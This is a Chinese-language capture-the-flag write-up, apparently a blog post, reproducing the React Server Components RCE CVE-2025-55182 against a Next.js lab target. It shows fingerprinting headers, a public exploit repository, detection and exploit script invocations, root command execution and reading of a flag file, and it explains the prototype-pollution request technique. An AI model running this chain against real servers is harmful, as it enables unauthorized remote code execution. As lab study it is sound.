CVE-2025-55182复现(ReactOOPS)

攻击机IP:10.10.16.8
靶机IP:94.237.120.119
该挑战展示了一款运行NexusAI助手界面的精美Next.js应用程序。该应用程序似乎通过 React Server 组件处理用户输入,但响应层中的细微故障提示了底层漏洞。
访问页面:
image.png

curl -v http://94.237.120.119:31312

从回来的响应头可以发现关于HTTP响应头层面的铁证,从这里可以看到启用了支持 RSC 的 Next.js 应用程序,并提供 HTML,存在CVE-2025-55182漏洞

Vary: rsc, next-router-state-tree, next-router-prefetch, Accept-Encoding

然后让我们来看常见的几个指标

1.包含响应头next-前缀包含 HTML<script type="text/x-component"> 存在.next目录工件未进行明显身份验证的POST端点

x-nextjs-cache: HIT
x-nextjs-prerender: 1
x-nextjs-stale-time: 300

2.从下面数据可以说明当前稳定版 Next.js(13.4+ / 14)
已弃用该 MIME
改用 __next_f + inline script 注入 Flight 数据

<script>
  self.__next_f.push([...])
</script>

3.存在 .next 目录工件

/_next/static/chunks/*.js
/_next/static/chunks/*.css
/_next/static/media/*.woff2

说明:
/_next/ 是 .next/ 构建产物的 对外映射
实际磁盘结构

.next/
  static/
    chunks/
    media/

虽然无法直接看到服务器的 .next/ 目录,但只要 /_next/static/* 可访问,即可确认 .next 构建工件存在

准备环境

git clone https://github.com/freeqaz/react2shell.git
chmod +x react2shell/*.sh

首先之前的那些指标都是我们的猜测,我们准备进行漏洞检测

./detect.sh http://94.237.120.119:31312
[*] React2Shell Detection Probe (CVE-2025-55182 / CVE-2025-66478)
[*] Target: http://94.237.120.119:31312

[*] HTTP Status: 500
[!] VULNERABLE - Server returned 500 with E{"digest" pattern

[*] Response body:
0:{"a":"$@1","f":"","b":"s8I48LfEDhqpCdFN5-HbU"}
1:E{"digest":"346246470"}

[!] This server is running a vulnerable version of React RSC / Next.js
[!] Upgrade to Next.js 16.0.7+ or React 19.2.1+ immediately

从结果看我们发现了

HTTP 500:检测到崩溃
E{"digest"响应式: React 错误处理格式
结论:服务器为漏洞主机

远程代码执行

接下来我们来验证任意命令执行

./exploit-redirect.sh -q http://94.237.120.119:31312 "id"

这里我们能看到代码被成功执行了
image-1.png
这个脚本的作用是什么

构造一个包含命令载荷的 multipart 请求体
将命令嵌入到原型污染(prototype pollution)的引用路径中
发送带有 Next-Action: x 请求头的 POST 请求
服务器在处理过程中对数据进行反序列化,并执行嵌入的命令
通过 HTTP 303 重定向 返回命令执行的输出结果

输出显示uid=0(root)- 网页服务器运行为 root

信息收集

让我们构建文件系统并查找敏感文件

./exploit-redirect.sh -q http://94.237.120.119:31312 "pwd"
./exploit-redirect.sh -q http://94.237.120.119:31312 "ls -la /app"

a42d91c6-c6b9-4175-be91-9ca48bd53c98.png
目标文件存在/app/flag.txt并具有限制性权限(600)
image-2.png
拿到目标文件
image-4.png
image-5.png

添加新评论

文章状态:已收录~
歌曲封面
0:00